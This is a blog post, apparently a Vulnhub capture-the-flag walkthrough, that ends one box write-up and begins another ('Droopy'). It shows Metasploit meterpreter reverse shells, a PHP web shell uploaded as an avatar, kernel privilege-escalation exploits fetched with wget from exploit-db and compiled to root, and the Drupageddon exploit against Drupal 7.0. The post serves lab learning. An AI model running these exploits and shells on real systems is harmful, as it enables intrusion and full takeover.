<span class="n">msf</span><span class="w"> </span><span class="n">exploit</span><span class="p">(</span><span class="n">handler</span><span class="p">)</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">set</span><span class="w"> </span><span class="n">payload</span><span class="w"> </span><span class="n">php</span><span class="o">/</span><span class="n">meterpreter</span><span class="o">/</span><span class="n">reverse_tcp</span>
<span class="n">payload</span><span class="w"> </span><span class="o">=></span><span class="w"> </span><span class="n">php</span><span class="o">/</span><span class="n">meterpreter</span><span class="o">/</span><span class="n">reverse_tcp</span>
<span class="n">msf</span><span class="w"> </span><span class="n">exploit</span><span class="p">(</span><span class="n">handler</span><span class="p">)</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">set</span><span class="w"> </span><span class="n">LHOST</span><span class="w"> </span><span class="mf">10.0</span><span class="o">.</span><span class="mf">2.5</span>
<span class="n">LHOST</span><span class="w"> </span><span class="o">=></span><span class="w"> </span><span class="mf">10.0</span><span class="o">.</span><span class="mf">2.5</span>
<span class="n">msf</span><span class="w"> </span><span class="n">exploit</span><span class="p">(</span><span class="n">handler</span><span class="p">)</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">set</span><span class="w"> </span><span class="n">LPORT</span><span class="w"> </span><span class="mi">4444</span>
<span class="n">LPORT</span><span class="w"> </span><span class="o">=></span><span class="w"> </span><span class="mi">4444</span>
<span class="n">msf</span><span class="w"> </span><span class="n">exploit</span><span class="p">(</span><span class="n">handler</span><span class="p">)</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">exploit</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Started</span><span class="w"> </span><span class="n">reverse</span><span class="w"> </span><span class="n">handler</span><span class="w"> </span><span class="n">on</span><span class="w"> </span><span class="mf">10.0</span><span class="o">.</span><span class="mf">2.5</span><span class="p">:</span><span class="mi">4444</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Starting</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">payload</span><span class="w"> </span><span class="n">handler</span><span class="o">...</span>
</code></pre></div>
<p>We upload our msfvenom's payload as our avatar.</p>
<p>We go to <code>http://10.0.2.5/uploads/avatar_john_shell.php</code> and we got our
meterpreter!
Let's see what this box is made of:</p>
<div class="highlight"><pre><span></span><code><span class="nx">uname</span><span class="w"> </span><span class="o">-</span><span class="nx">a</span>
<span class="nx">Linux</span><span class="w"> </span><span class="nx">simple</span><span class="w"> </span><span class="m m-Double">3.16.0</span><span class="o">-</span><span class="mi">30</span><span class="o">-</span><span class="nx">generic</span><span class="w"> </span><span class="err">#</span><span class="mi">40</span><span class="o">~</span><span class="m m-Double">14.04.1</span><span class="o">-</span><span class="nx">Ubuntu</span><span class="w"> </span><span class="nx">SMP</span><span class="w"> </span><span class="nx">Thu</span><span class="w"> </span><span class="nx">Jan</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="mi">17</span><span class="p">:</span><span class="mi">45</span><span class="p">:</span><span class="mi">15</span><span class="w"> </span><span class="nx">UTC</span><span class="w"> </span><span class="mi">2015</span><span class="w"> </span><span class="nx">i686</span><span class="w"> </span><span class="nx">i686</span><span class="w"> </span><span class="nx">i686</span><span class="w"> </span><span class="nx">GNU</span><span class="o">/</span><span class="nx">Linux</span>
</code></pre></div>
<p>Once more an Ubuntu 14.04, like the droopy from yesterday.</p>
<h2>Privileges escalation</h2>
<h3>CVE-2015-1328 exploiting overlayFS</h3>
<p>Let us try once again to exploit the CVE-2015-1328 exploiting overlayFS to get
a root shell on the machine. I started a shell from the meterpreter, download
the exploit, compile it, run it and failed it:</p>
<div class="highlight"><pre><span></span><code><span class="n">meterpreter</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">shell</span>
<span class="n">Process</span><span class="w"> </span><span class="mi">1335</span><span class="w"> </span><span class="n">created</span><span class="o">.</span>
<span class="n">Channel</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="n">created</span><span class="o">.</span>
<span class="n">id</span>
<span class="n">uid</span><span class="o">=</span><span class="mi">33</span><span class="p">(</span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">)</span><span class="w"> </span><span class="n">gid</span><span class="o">=</span><span class="mi">33</span><span class="p">(</span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">)</span><span class="w"> </span><span class="n">groups</span><span class="o">=</span><span class="mi">33</span><span class="p">(</span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">)</span>
<span class="n">wget</span><span class="w"> </span><span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">download</span><span class="o">/</span><span class="mi">37292</span>
<span class="o">--</span><span class="mi">2016</span><span class="o">-</span><span class="mi">05</span><span class="o">-</span><span class="mi">11</span><span class="w"> </span><span class="mi">09</span><span class="p">:</span><span class="mi">59</span><span class="p">:</span><span class="mi">52</span><span class="o">--</span><span class="w"> </span><span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">download</span><span class="o">/</span><span class="mi">37292</span>
<span class="n">Resolving</span><span class="w"> </span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="w"> </span><span class="p">(</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="p">)</span><span class="o">...</span><span class="w"> </span><span class="mf">192.124</span><span class="o">.</span><span class="mf">249.8</span>
<span class="n">Connecting</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="w"> </span><span class="p">(</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="p">)</span><span class="o">|</span><span class="mf">192.124</span><span class="o">.</span><span class="mf">249.8</span><span class="o">|</span><span class="p">:</span><span class="mf">443.</span><span class="o">..</span><span class="w"> </span><span class="n">connected</span><span class="o">.</span>
<span class="n">HTTP</span><span class="w"> </span><span class="n">request</span><span class="w"> </span><span class="n">sent</span><span class="p">,</span><span class="w"> </span><span class="n">awaiting</span><span class="w"> </span><span class="n">response</span><span class="o">...</span><span class="w"> </span><span class="mi">200</span><span class="w"> </span><span class="n">OK</span>
<span class="n">Length</span><span class="p">:</span><span class="w"> </span><span class="mi">5123</span><span class="w"> </span><span class="p">(</span><span class="mf">5.0</span><span class="n">K</span><span class="p">)</span><span class="w"> </span><span class="p">[</span><span class="n">application</span><span class="o">/</span><span class="n">txt</span><span class="p">]</span>
<span class="n">Saving</span><span class="w"> </span><span class="n">to</span><span class="p">:</span><span class="w"> </span><span class="s1">'37292'</span>
<span class="w"> </span><span class="mi">0</span><span class="n">K</span><span class="w"> </span><span class="o">.....</span><span class="w"> </span><span class="mi">100</span><span class="o">%</span><span class="w"> </span><span class="mi">409</span><span class="n">M</span><span class="o">=</span><span class="mi">0</span><span class="n">s</span>
<span class="mi">2016</span><span class="o">-</span><span class="mi">05</span><span class="o">-</span><span class="mi">11</span><span class="w"> </span><span class="mi">09</span><span class="p">:</span><span class="mi">59</span><span class="p">:</span><span class="mi">53</span><span class="w"> </span><span class="p">(</span><span class="mi">409</span><span class="w"> </span><span class="n">MB</span><span class="o">/</span><span class="n">s</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="s1">'37292'</span><span class="w"> </span><span class="n">saved</span><span class="w"> </span><span class="p">[</span><span class="mi">5123</span><span class="o">/</span><span class="mi">5123</span><span class="p">]</span>
<span class="n">mv</span><span class="w"> </span><span class="mi">37292</span><span class="w"> </span><span class="n">ofs</span><span class="o">.</span><span class="n">c</span>
<span class="n">gcc</span><span class="w"> </span><span class="n">ofs</span><span class="o">.</span><span class="n">c</span><span class="w"> </span><span class="o">-</span><span class="n">o</span><span class="w"> </span><span class="n">ofs</span>
<span class="n">ls</span>
<span class="n">avatar_john_shell</span><span class="o">.</span><span class="n">php</span>
<span class="n">ofs</span>
<span class="n">ofs</span><span class="o">.</span><span class="n">c</span>
<span class="n">chmod</span><span class="w"> </span><span class="o">+</span><span class="n">x</span><span class="w"> </span><span class="n">ofs</span>
<span class="o">./</span><span class="n">ofs</span>
<span class="n">spawning</span><span class="w"> </span><span class="n">threads</span>
<span class="n">mount</span><span class="w"> </span><span class="c1">#1</span>
<span class="n">mount</span><span class="w"> </span><span class="c1">#2</span>
<span class="n">child</span><span class="w"> </span><span class="n">threads</span><span class="w"> </span><span class="n">done</span>
<span class="n">exploit</span><span class="w"> </span><span class="n">failed</span>
</code></pre></div>
<p>When searching for exploit regarding linux 3.16.0 I found the CVE-2014-5207:</p>
<h3>CVE-2014-5207 Fuse-based exploit</h3>
<p><a href="https://www.exploit-db.com/exploits/34923/">CVE-2014-5207 Fuse-based exploit</a>.
I download the exploit, compiled it and once more failed it:</p>
<div class="highlight"><pre><span></span><code>gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
/bin/sh: 1: pkg-config: not found
fuse_suid.c:21:18: fatal error: fuse.h: No such file or directory
#include <fuse.h>
^
compilation terminated
</fuse.h></code></pre></div>
<p>When searching for <code>ubuntu 14.04 privilege escalation exploit</code> I found two
interesting exploits :
* CVE-2015-3643
* CVE-2015-1318 + CVE-2015-1862</p>
<h3>CVE-2015-3643</h3>
<p><a href="https://www.exploit-db.com/exploits/36820/">The CVE-2015-3643</a> exploit the
D-Bus listening on com.ubuntu.USBCreator.
I try this exploit but the module was not available and failed:</p>
<div class="highlight"><pre><span></span><code>dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"
Error org.freedesktop.DBus.Error.ServiceUnknown: The name com.ubuntu.USBCreator was not provided by any .service files
</code></pre></div>
<h3>CVE-2015-1318 + CVE-2015-1862</h3>
<p><a href="https://www.exploit-db.com/exploits/36746/">The CVE-2015-1318 + CVE-2015-1862</a>
exploit a feature in ubuntu 14.04 allowing a user to forward crash reports.</p>
<p>I download the exploit, compiled it with <code>-static</code> and run it to get a root
shell on the box:</p>
<div class="highlight"><pre><span></span><code><span class="n">meterpreter</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">shell</span>
<span class="n">Process</span><span class="w"> </span><span class="mi">1550</span><span class="w"> </span><span class="n">created</span><span class="o">.</span>
<span class="n">Channel</span><span class="w"> </span><span class="mi">9</span><span class="w"> </span><span class="n">created</span><span class="o">.</span>
<span class="n">cd</span><span class="w"> </span><span class="o">/</span><span class="n">tmp</span><span class="o">/</span>
<span class="n">wget</span><span class="w"> </span><span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">download</span><span class="o">/</span><span class="mi">36746</span>
<span class="o">--</span><span class="mi">2016</span><span class="o">-</span><span class="mi">05</span><span class="o">-</span><span class="mi">11</span><span class="w"> </span><span class="mi">11</span><span class="p">:</span><span class="mi">22</span><span class="p">:</span><span class="mi">39</span><span class="o">--</span><span class="w"> </span><span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">download</span><span class="o">/</span><span class="mi">36746</span>
<span class="n">Resolving</span><span class="w"> </span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="w"> </span><span class="p">(</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="p">)</span><span class="o">...</span><span class="w"> </span><span class="mf">192.124</span><span class="o">.</span><span class="mf">249.8</span>
<span class="n">Connecting</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="w"> </span><span class="p">(</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="p">)</span><span class="o">|</span><span class="mf">192.124</span><span class="o">.</span><span class="mf">249.8</span><span class="o">|</span><span class="p">:</span><span class="mf">443.</span><span class="o">..</span><span class="w"> </span><span class="n">connected</span><span class="o">.</span>
<span class="n">HTTP</span><span class="w"> </span><span class="n">request</span><span class="w"> </span><span class="n">sent</span><span class="p">,</span><span class="w"> </span><span class="n">awaiting</span><span class="w"> </span><span class="n">response</span><span class="o">...</span><span class="w"> </span><span class="mi">200</span><span class="w"> </span><span class="n">OK</span>
<span class="n">Length</span><span class="p">:</span><span class="w"> </span><span class="mi">5216</span><span class="w"> </span><span class="p">(</span><span class="mf">5.1</span><span class="n">K</span><span class="p">)</span><span class="w"> </span><span class="p">[</span><span class="n">application</span><span class="o">/</span><span class="n">txt</span><span class="p">]</span>
<span class="n">Saving</span><span class="w"> </span><span class="n">to</span><span class="p">:</span><span class="w"> </span><span class="s1">'36746'</span>
<span class="w"> </span><span class="mi">0</span><span class="n">K</span><span class="w"> </span><span class="o">.....</span><span class="w"> </span><span class="mi">100</span><span class="o">%</span><span class="w"> </span><span class="mi">337</span><span class="n">M</span><span class="o">=</span><span class="mi">0</span><span class="n">s</span>
<span class="mi">2016</span><span class="o">-</span><span class="mi">05</span><span class="o">-</span><span class="mi">11</span><span class="w"> </span><span class="mi">11</span><span class="p">:</span><span class="mi">22</span><span class="p">:</span><span class="mi">43</span><span class="w"> </span><span class="p">(</span><span class="mi">337</span><span class="w"> </span><span class="n">MB</span><span class="o">/</span><span class="n">s</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="s1">'36746'</span><span class="w"> </span><span class="n">saved</span><span class="w"> </span><span class="p">[</span><span class="mi">5216</span><span class="o">/</span><span class="mi">5216</span><span class="p">]</span>
<span class="n">mv</span><span class="w"> </span><span class="mi">36746</span><span class="w"> </span><span class="n">newpid</span><span class="o">.</span><span class="n">c</span>
<span class="n">gcc</span><span class="w"> </span><span class="o">-</span><span class="k">static</span><span class="w"> </span><span class="n">newpid</span><span class="o">.</span><span class="n">c</span>
<span class="n">newpid</span><span class="o">.</span><span class="n">c</span><span class="p">:</span><span class="mi">17</span><span class="p">:</span><span class="mi">3</span><span class="p">:</span><span class="w"> </span><span class="n">warning</span><span class="p">:</span><span class="w"> </span><span class="c1">#warning this file must be compiled with -static [-Wcpp]</span>
<span class="c1"># warning this file must be compiled with -static</span>
<span class="w"> </span><span class="o">^</span>
<span class="o">./</span><span class="n">a</span><span class="o">.</span><span class="n">out</span>
<span class="n">uid</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">)</span><span class="w"> </span><span class="n">gid</span><span class="o">=</span><span class="mi">33</span><span class="p">(</span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">)</span><span class="w"> </span><span class="n">groups</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">),</span><span class="mi">33</span><span class="p">(</span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">)</span>
<span class="n">id</span>
<span class="n">uid</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">)</span><span class="w"> </span><span class="n">gid</span><span class="o">=</span><span class="mi">33</span><span class="p">(</span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">)</span><span class="w"> </span><span class="n">groups</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">),</span><span class="mi">33</span><span class="p">(</span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">)</span>
</code></pre></div>
<h2>Conclusion</h2>
<p>We just need to get our hands on the flag to finish it.</p>
<div class="highlight"><pre><span></span><code>cat /root/flag.txt
U wyn teh Interwebs!!1eleven11!!1!
Hack the planet
</code></pre></div>
<p>It was a nice box with still not so much web exploitation and only one exploit
to launch to get to root.
Thanks to <a href="https://twitter.com/@RobertWinkel">Robert Winkel</a> for the box and as
always to Vulnhub for their work.</p>Vulnhub Droopy2016-05-10T21:49:00+02:002016-05-10T21:49:00+02:00maggicktag:maggick.fr,2016-05-10:/2016/05/vulnhub-droopy.html<p><img alt="Droopy homepage" class="align-left" src="/media/2016.05/droopy.png" width="162"/>
A few days ago, I installed a new pentesting box based on Arch Linux with Kali</p>
<p>in a virtual machine. In order to test it I select a light vulnbox on vulnhub :
<a href="https://www.vulnhub.com/entry/droopy-v02,143/">Droopy</a>.
There were two hints on the description of the machine on the vulnhub download
page:</p>
<ol>
<li>Grab a copy of the rockyou wordlist.</li>
<li>It's fun to read other people's email.</li>
</ol>
<p>We will see how to use them in a moment :)</p>
<p><img alt="Droopy homepage" class="align-left" src="/media/2016.05/droopy.png" width="162"/>
A few days ago, I installed a new pentesting box based on Arch Linux with Kali</p>
<p>in a virtual machine. In order to test it I select a light vulnbox on vulnhub :
<a href="https://www.vulnhub.com/entry/droopy-v02,143/">Droopy</a>.
There were two hints on the description of the machine on the vulnhub download
page:</p>
<ol>
<li>Grab a copy of the rockyou wordlist.</li>
<li>It's fun to read other people's email.</li>
</ol>
<p>We will see how to use them in a moment :)</p>
<h2>Discovery</h2>
<p>Our nmap scan give us nothing but an open 80 port running a HTTP server.
Let's give a look to the website:</p>
<p><img alt="Droopy homepage" class="image-process-article-image" src="/media/2016.05/derivatives/article-image/droopy.png"/></p>
<p><a href="https://www.wappalyzer.com/">Wappalyzer</a> give use the precise version of the Drupal
used (with the name and to logo of the VM it is easy to deduce that this is a
Drupal machine). The version is Drupal 7.0 which is vulnerable to CVE-2014-3704
also called
<a href="https://www.rapid7.com/db/modules/exploit/multi/http/drupal_drupageddon">drupal_drupageddon</a>.</p>
<h2>Exploit</h2>
<p>We use metasploit to directly have the Drupal exploit AND directly a
meterpreter:</p>
<div class="highlight"><pre><span></span><code><span class="n">msf</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">search</span><span class="w"> </span><span class="n">drupal</span>
<span class="p">[</span><span class="o">!</span><span class="p">]</span><span class="w"> </span><span class="n">Module</span><span class="w"> </span><span class="n">database</span><span class="w"> </span><span class="n">cache</span><span class="w"> </span><span class="ow">not</span><span class="w"> </span><span class="n">built</span><span class="w"> </span><span class="n">yet</span><span class="p">,</span><span class="w"> </span><span class="n">using</span><span class="w"> </span><span class="n">slow</span><span class="w"> </span><span class="n">search</span>
<span class="n">Matching</span><span class="w"> </span><span class="n">Modules</span>
<span class="o">================</span>
<span class="w"> </span><span class="n">Name</span><span class="w"> </span><span class="n">Disclosure</span><span class="w"> </span><span class="n">Date</span><span class="w"> </span><span class="n">Rank</span><span class="w"> </span><span class="n">Description</span>
<span class="w"> </span><span class="o">----</span><span class="w"> </span><span class="o">---------------</span><span class="w"> </span><span class="o">----</span><span class="w"> </span><span class="o">-----------</span>
<span class="w"> </span><span class="n">auxiliary</span><span class="o">/</span><span class="n">gather</span><span class="o">/</span><span class="n">drupal_openid_xxe</span><span class="w"> </span><span class="mi">2012</span><span class="o">-</span><span class="mi">10</span><span class="o">-</span><span class="mi">17</span><span class="w"> </span><span class="n">normal</span><span class="w"> </span><span class="n">Drupal</span><span class="w"> </span><span class="n">OpenID</span><span class="w"> </span><span class="n">External</span><span class="w"> </span><span class="n">Entity</span><span class="w"> </span><span class="n">Injection</span>
<span class="w"> </span><span class="n">auxiliary</span><span class="o">/</span><span class="n">scanner</span><span class="o">/</span><span class="n">http</span><span class="o">/</span><span class="n">drupal_views_user_enum</span><span class="w"> </span><span class="mi">2010</span><span class="o">-</span><span class="mi">07</span><span class="o">-</span><span class="mi">02</span><span class="w"> </span><span class="n">normal</span><span class="w"> </span><span class="n">Drupal</span><span class="w"> </span><span class="n">Views</span><span class="w"> </span><span class="n">Module</span><span class="w"> </span><span class="n">Users</span><span class="w"> </span><span class="n">Enumeration</span>
<span class="w"> </span><span class="n">exploit</span><span class="o">/</span><span class="n">multi</span><span class="o">/</span><span class="n">http</span><span class="o">/</span><span class="n">drupal_drupageddon</span><span class="w"> </span><span class="mi">2014</span><span class="o">-</span><span class="mi">10</span><span class="o">-</span><span class="mi">15</span><span class="w"> </span><span class="n">excellent</span><span class="w"> </span><span class="n">Drupal</span><span class="w"> </span><span class="n">HTTP</span><span class="w"> </span><span class="n">Parameter</span><span class="w"> </span><span class="n">Key</span><span class="o">/</span><span class="n">Value</span><span class="w"> </span><span class="n">SQL</span><span class="w"> </span><span class="n">Injection</span>
<span class="w"> </span><span class="n">exploit</span><span class="o">/</span><span class="n">unix</span><span class="o">/</span><span class="n">webapp</span><span class="o">/</span><span class="n">php_xmlrpc_eval</span><span class="w"> </span><span class="mi">2005</span><span class="o">-</span><span class="mi">06</span><span class="o">-</span><span class="mi">29</span><span class="w"> </span><span class="n">excellent</span><span class="w"> </span><span class="n">PHP</span><span class="w"> </span><span class="n">XML</span><span class="o">-</span><span class="n">RPC</span><span class="w"> </span><span class="n">Arbitrary</span><span class="w"> </span><span class="n">Code</span><span class="w"> </span><span class="n">Execution</span>
</code></pre></div>
<p>We set the RHOST to the VM's IP address</p>
<div class="highlight"><pre><span></span><code>msf exploit(drupal_drupageddon) > set RHOST 10.0.2.4
</code></pre></div>
<p>We check our options</p>
<div class="highlight"><pre><span></span><code>msf exploit(drupal_drupageddon) > show options
Module options (exploit/multi/http/drupal_drupageddon):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 10.0.2.4 yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Drupal installation
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.15 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Drupal 7.0 - 7.31
</code></pre></div>
<p>We launch our exploit against the server and praise for a reverse shell:
msf exploit(drupal_drupageddon) > exploit</p>
<div class="highlight"><pre><span></span><code><span class="n">Started</span><span class="w"> </span><span class="n">reverse</span><span class="w"> </span><span class="n">TCP</span><span class="w"> </span><span class="n">handler</span><span class="w"> </span><span class="n">on</span><span class="w"> </span><span class="mf">10.0.2.15</span><span class="o">:</span><span class="mi">4444</span>
<span class="n">Testing</span><span class="w"> </span><span class="n">page</span>
<span class="n">Creating</span><span class="w"> </span><span class="n">new</span><span class="w"> </span><span class="n">user</span><span class="w"> </span><span class="n">ULMihKJWdb</span><span class="o">:</span><span class="n">giXrJOFefa</span>
<span class="n">Logging</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="kr">as</span><span class="w"> </span><span class="n">ULMihKJWdb</span><span class="o">:</span><span class="n">giXrJOFefa</span>
<span class="n">Trying</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="nf">parse</span><span class="w"> </span><span class="n">enabled</span><span class="w"> </span><span class="n">modules</span>
<span class="n">Enabling</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">PHP</span><span class="w"> </span><span class="n">filter</span><span class="w"> </span><span class="kr">module</span>
<span class="n">Setting</span><span class="w"> </span><span class="n">permissions</span><span class="w"> </span><span class="n">for</span><span class="w"> </span><span class="n">PHP</span><span class="w"> </span><span class="n">filter</span><span class="w"> </span><span class="kr">module</span>
<span class="n">Getting</span><span class="w"> </span><span class="n">tokens</span><span class="w"> </span><span class="n">from</span><span class="w"> </span><span class="n">create</span><span class="w"> </span><span class="n">new</span><span class="w"> </span><span class="n">article</span><span class="w"> </span><span class="n">page</span>
<span class="n">Calling</span><span class="w"> </span><span class="n">preview</span><span class="w"> </span><span class="n">page</span><span class="p">.</span><span class="w"> </span><span class="n">Exploit</span><span class="w"> </span><span class="n">should</span><span class="w"> </span><span class="n">trigger</span><span class="p">...</span>
<span class="n">Sending</span><span class="w"> </span><span class="n">stage</span><span class="w"> </span><span class="p">(</span><span class="mi">33721</span><span class="w"> </span><span class="n">bytes</span><span class="p">)</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="mf">10.0.2.4</span>
<span class="n">Meterpreter</span><span class="w"> </span><span class="n">session</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">opened</span><span class="w"> </span><span class="p">(</span><span class="mf">10.0.2.15</span><span class="o">:</span><span class="mi">4444</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="mf">10.0.2.4</span><span class="o">:</span><span class="mi">52349</span><span class="p">)</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="mi">2016</span><span class="o">-</span><span class="mo">05</span><span class="o">-</span><span class="mi">10</span><span class="w"> </span><span class="mi">16</span><span class="o">:</span><span class="mi">56</span><span class="o">:</span><span class="mi">46</span><span class="w"> </span><span class="o">+</span><span class="mo">0200</span>
</code></pre></div>
<h2>Second hint</h2>
<p>Okay it works, we got a meterperter with the user <code>www-data</code>, let's follow the
hint a get a look to the e-mails:</p>
<div class="highlight"><pre><span></span><code><span class="n">meterpreter</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">mail</span>
<span class="n">Listing</span><span class="p">:</span><span class="w"> </span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">mail</span>
<span class="o">==================</span>
<span class="n">Mode</span><span class="w"> </span><span class="n">Size</span><span class="w"> </span><span class="n">Type</span><span class="w"> </span><span class="n">Last</span><span class="w"> </span><span class="n">modified</span><span class="w"> </span><span class="n">Name</span>
<span class="o">----</span><span class="w"> </span><span class="o">----</span><span class="w"> </span><span class="o">----</span><span class="w"> </span><span class="o">-------------</span><span class="w"> </span><span class="o">----</span>
<span class="mi">100777</span><span class="o">/</span><span class="n">rwxrwxrwx</span><span class="w"> </span><span class="mi">564</span><span class="w"> </span><span class="n">fil</span><span class="w"> </span><span class="mi">2016</span><span class="o">-</span><span class="mi">04</span><span class="o">-</span><span class="mi">14</span><span class="w"> </span><span class="mi">20</span><span class="p">:</span><span class="mi">32</span><span class="p">:</span><span class="mi">01</span><span class="w"> </span><span class="o">+</span><span class="mi">0200</span><span class="w"> </span><span class="n">www</span><span class="o">-</span><span class="n">data</span>
</code></pre></div>
<p>Let's read the e-mails of www-data:</p>
<div class="highlight"><pre><span></span><code><span class="k">From</span><span class="w"> </span><span class="n">Dave</span><span class="w"> </span><span class="o"><</span><span class="n">dave</span><span class="nv">@droopy</span><span class="p">.</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="o">></span><span class="w"> </span><span class="n">Wed</span><span class="w"> </span><span class="n">Thu</span><span class="w"> </span><span class="mi">14</span><span class="w"> </span><span class="n">Apr</span><span class="w"> </span><span class="mi">04</span><span class="err">:</span><span class="mi">34</span><span class="err">:</span><span class="mi">39</span><span class="w"> </span><span class="mi">2016</span>
<span class="nc">Date</span><span class="err">:</span><span class="w"> </span><span class="mi">14</span><span class="w"> </span><span class="n">Apr</span><span class="w"> </span><span class="mi">2016</span><span class="w"> </span><span class="mi">04</span><span class="err">:</span><span class="mi">34</span><span class="err">:</span><span class="mi">39</span><span class="w"> </span><span class="o">+</span><span class="mi">0100</span>
<span class="k">From</span><span class="err">:</span><span class="w"> </span><span class="n">Dave</span><span class="w"> </span><span class="o"><</span><span class="n">dave</span><span class="nv">@droopy</span><span class="p">.</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="o">></span>
<span class="nl">Subject</span><span class="p">:</span><span class="w"> </span><span class="n">rockyou</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">nice</span><span class="w"> </span><span class="n">hat</span><span class="err">!</span>
<span class="n">Message</span><span class="o">-</span><span class="nl">ID</span><span class="p">:</span><span class="w"> </span><span class="o"><</span><span class="mi">730262568</span><span class="nv">@example</span><span class="p">.</span><span class="n">com</span><span class="o">></span>
<span class="n">X</span><span class="o">-</span><span class="nl">IMAP</span><span class="p">:</span><span class="w"> </span><span class="mi">0080081351</span><span class="w"> </span><span class="mi">0000002016</span>
<span class="nl">Status</span><span class="p">:</span><span class="w"> </span><span class="n">NN</span>
<span class="n">George</span><span class="p">,</span>
<span class="w"> </span><span class="n">I</span><span class="s1">'ve updated the encrypted file... You didn'</span><span class="n">t</span><span class="w"> </span><span class="n">leave</span><span class="w"> </span><span class="ow">any</span>
<span class="n">hints</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">me</span><span class="p">.</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="n">isn</span><span class="s1">'t longer than 11 characters</span>
<span class="s1">and anyway, we know what academy we went to, don'</span><span class="n">t</span><span class="w"> </span><span class="n">you</span><span class="p">...</span><span class="vm">?</span>
